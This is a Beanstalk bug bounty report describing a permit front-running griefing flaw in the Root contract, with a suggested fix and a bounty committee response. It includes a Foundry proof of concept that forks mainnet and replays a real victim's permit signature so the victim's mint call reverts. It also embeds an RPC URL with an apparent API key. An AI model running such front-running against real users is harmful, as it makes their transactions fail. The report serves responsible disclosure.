📄

Report #27242

Report Date
December 25, 2023
Status
Confirmed
Payout
1,000

Attack due to permit in Beanstalk root contract

‣
Report Info

Report ID

#27242

Report type

Smart Contract

Has PoC?

Yes

Target

Impacts

  • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Bug Description

where

Expected behaviour:

  • The redeemWithFarmBalancePermit function utilizes the permit function so that approve and pull operations can happen in a single transaction instead of two consecutive transactions.

Attack

  • ERC20Permit uses the nonces mapping for replay protection.
  • Once a signature is verified and approved, the nonce increases, invalidating the same signature being replayed.
  • redeemWithFarmBalancePermit expects the holder to sign their tokens and provide the signature to the contract as part of permit data When a redeemWithFarmBalancePermit transaction is in the mempool, an attacker can take this signature, call the permit function on the token themselves.
  • Since this is a valid signature, the token accepts and increases the nonce.
  • This makes the spender's transaction fail whenever it gets mined.

This makes the spender's transaction fail whenever it gets mined.

Impact

  • The attacker can ensure all calls to redeemWithFarmBalancePermit fail for the first time.

Risk Breakdown

  • Difficulty to Exploit: Easy
  • Severity: Medium

Recommendation

  • In the redeemWithFarmBalancePermit function, check if it has the approval it needs. If not, then only submit the permit signature.
if (IERC20(_token).allowance(owner, spender) < amount) {
        IERC20PermitUpgradeable(_token).permit(msg.sender, address(this), amount, deadline, v, r, s);
}

References

Proof of concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test} from "forge-std/Test.sol";

struct PermitParams {
    uint256 value;
    uint256 deadline;
    uint8 v;
    bytes32 r;
    bytes32 s;
}
interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
}

struct DepositTransfer {
        address token;
        uint32[] seasons;
        uint256[] amounts;
}

interface IRootToken {

    enum To {
        EXTERNAL,
        INTERNAL
    }

    function mintWithTokenPermit(
        DepositTransfer[] calldata depositTransfers,
        To mode,
        uint256 minRootsOut,
        address token,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external  returns (uint256);

   function mintWithTokensPermit(
        DepositTransfer[] calldata depositTransfers,
        To mode,
        uint256 minRootsOut,
        address[] calldata tokens,
        uint256[] calldata values,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external  returns (uint256);

}

interface IBeanstalk {

    function permitDeposit(
        address owner,
        address spender,
        address token,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external payable;

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function nonces(address owner) external view returns (uint256);
}



contract GreifingAttack is Test {

    //I have selected following transactions as target transaction 
    //https://etherscan.io/tx/0x5648854a4a11529fd592df031ad6d6236b96931d2a8aa65b22c200270a9b6d37

    //RPC URL
    string RPC_URL = "https://eth-mainnet.g.alchemy.com/v2/vJ3Q8mtR-UO9lkEgOsK52kYahGCQI0uj";//Enter your RPC URL here
    uint Block_Number = 16097474 - 1 ; //target transacion block Number

    IRootToken public RootToken;

    address public victim;

    IBeanstalk BEANSTALK_ADDRESS;

    bytes32 private constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");

    address public Bean  = 0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab;

    function setUp() public {

        //fork the chain with block of victim's transaction
        uint256 ForkId = vm.createFork(RPC_URL,Block_Number);
        vm.selectFork(ForkId);
        // vm.warp(1701986242);//to avoid revert due to deadline
        
        //victim for target transaction
        victim = 0xD441C97eF1458d847271f91714799007081494eF;

        RootToken = IRootToken(0x77700005BEA4DE0A78b956517f099260C2CA9a26);
        BEANSTALK_ADDRESS = IBeanstalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5); 

    }

    function testGreifingAttack() public {

        //the happy path
        vm.startPrank(victim);

        //preparing the arguments
        uint32[] memory seasons = new uint32[](4);
        seasons[0] = 8477;
        seasons[1] = 8575;
        seasons[2] = 8576;
        seasons[3] = 8577;

        uint256[] memory amounts = new uint256[](4);
        amounts[0] = 5396;
        amounts[1] = 102316818;
        amounts[2] = 72451124;
        amounts[3] = 37067810; 
        
        DepositTransfer[] memory depositTransfers = new DepositTransfer[](1);
        depositTransfers[0].token = Bean ;
        depositTransfers[0].seasons = seasons;
        depositTransfers[0].amounts = amounts;

        IRootToken.To mode = IRootToken.To(0);

        uint minRootsOut = 200750505380238979935;
        uint value = 211841148;
        uint deadline  = 115792089237316195423570985008687907853269984665640564039457584007913129639935;

        uint8 v = 28;
        bytes32 r = 0xe1d8924c18342cea96f743339464eb8a5c5e5b3518f042114f6b071fc9cea774;
        bytes32 s = 0x54fac46a364b1f8de73a3de500bd30ee0065c9c4986d153c07801b86d65209ce;


        uint256 snapshot = vm.snapshot();

        ///the victim calls the mintWithTokenPermit function 
        //with the signed permit and it succeeds as expected
        RootToken.mintWithTokenPermit(depositTransfers,mode,minRootsOut,Bean,value,deadline,v,r,s);
        vm.stopPrank();

        vm.revertTo(snapshot);
        //the griefing attack

        //before the victim's transaction gets accepted
        //attackers sees the transaction in mempool and submits it themselves
        BEANSTALK_ADDRESS.permitDeposit(victim, address(RootToken),Bean,value,deadline,v,r,s);

        
        //this ends up increasing the victim nonce

        //now when victim's mintWithTokenPermit() transaction gets accepted it fails
        //because the nonce is already used
        vm.startPrank(victim);
        vm.expectRevert("Silo: permit invalid signature");
        RootToken.mintWithTokenPermit(depositTransfers,mode,minRootsOut,address(BEANSTALK_ADDRESS),value,deadline,v,r,s);
        vm.stopPrank();
    }
}

BIR-8: Root Permit Redemption Griefing

BIC Response

After reviewing your bug report, we believe that it is in scope for our bug bounty program and the threat level is Medium.

Based on our bounty page, this submission's ( Smart Contract - Medium ) reward is based on a set of internal criteria established by the BIC (with a minimum reward of USD 1 000), primarily taking into account the exploitability of the bug, the impact it causes and likelihood of the vulnerability presenting itself.

The BIC determined that the impact of this issue is low given the that the Root contract is not functional (Roots cannot be redeemed as a result of the Beanstalk Silo V3 upgrade) and the low value of assets in the contract. For these reasons, the BIC has determined that this bug report be rewarded 1,000 Beans.